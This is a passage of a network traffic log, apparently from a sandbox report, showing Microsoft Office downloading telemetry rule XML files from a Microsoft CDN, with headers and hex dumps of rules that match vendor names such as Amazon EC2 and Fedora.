3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.4	49807	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:18:03 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:18:03 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:18:03 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: a5807169-a01e-0032-6664-271949000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T031803Z-17c5cb586f66g7mvgrudxte95400000000x000000000bz5v x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 03:18:03 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.4	49811	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:18:03 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:18:03 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:18:03 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: 5e2f3c3f-901e-0048-1b49-28b800000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T031803Z-17c5cb586f62blg5ss55p9d6fn00000006kg00000000f29y x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 03:18:03 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.4	49810	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:18:03 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:18:03 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:18:03 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: b2eb4648-201e-0051-526d-287340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T031803Z-r197bdfb6b4d9xksru4x6qbqr0000000061g000000004txu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-29 03:18:03 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.4	49813	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:18:04 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:18:04 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:18:04 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: f826faa8-301e-0099-1457-266683000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T031804Z-r197bdfb6b47gqdjvmbpfaf2d0000000013000000000ghwg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 03:18:04 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.4	49812	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:18:04 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:18:04 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:18:04 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: 2b9d96d3-301e-0020-4e31-276299000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T031804Z-16849878b787wpl5wqkt5731b400000006qg00000000bhw5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 03:18:04 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.4	49814	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:18:04 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:18:04 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:18:04 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: 84cbfce0-201e-0071-26f6-26ff15000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T031804Z-17c5cb586f6wmhkn5q6fu8c5ss000000058g00000000c4m4 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 03:18:04 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.4	49815	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:18:04 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:18:04 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:18:04 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: 39d89106-201e-003f-20a3-266d94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T031804Z-16849878b78j5kdg3dndgqw0vg00000007pg000000009s42 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 03:18:04 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.4	49816	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:18:04 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:18:04 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:18:04 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: a1cd263b-b01e-0070-5f2a-271cc0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T031804Z-16849878b78p49s6zkwt11bbkn00000005gg00000000pq7m x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 03:18:04 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
59	192.168.2.4	49817	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:18:05 UTC	192	OUT	GET /rules/rule120650v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:18:05 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:18:05 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989EE75B" x-ms-request-id: 18fe904c-c01e-00a1-4257-277e4a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T031805Z-16849878b7828dsgct3vrzta7000000004a000000000h8af x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 03:18:05 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120650" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
60	192.168.2.4	49818	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:18:05 UTC	192	OUT	GET /rules/rule120651v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:18:05 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:18:05 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 336bf192-401e-00ac-1a67-270a97000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T031805Z-15b8d89586fvk4kmbg8pf84y8800000006t000000000gv6k x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 03:18:05 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 47 67 5d 5b 4c 6c 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120651" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <SR T="2" R="([Gg][Oo][Oo][Gg][Ll][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.4	49819	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:18:05 UTC	192	OUT	GET /rules/rule120652v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:18:05 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:18:05 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97E6FCDD" x-ms-request-id: 0697abc8-001e-00ad-714f-28554b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T031805Z-15b8d89586fzhrwgk23ex2bvhw00000008wg000000004v8z x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 03:18:05 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120652" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.4	49820	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:18:05 UTC	192	OUT	GET /rules/rule120653v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:18:05 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:18:05 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C710B28" x-ms-request-id: c1b2f9d4-701e-0098-1062-26395f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T031805Z-16849878b78p49s6zkwt11bbkn00000005kg00000000ewzf x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
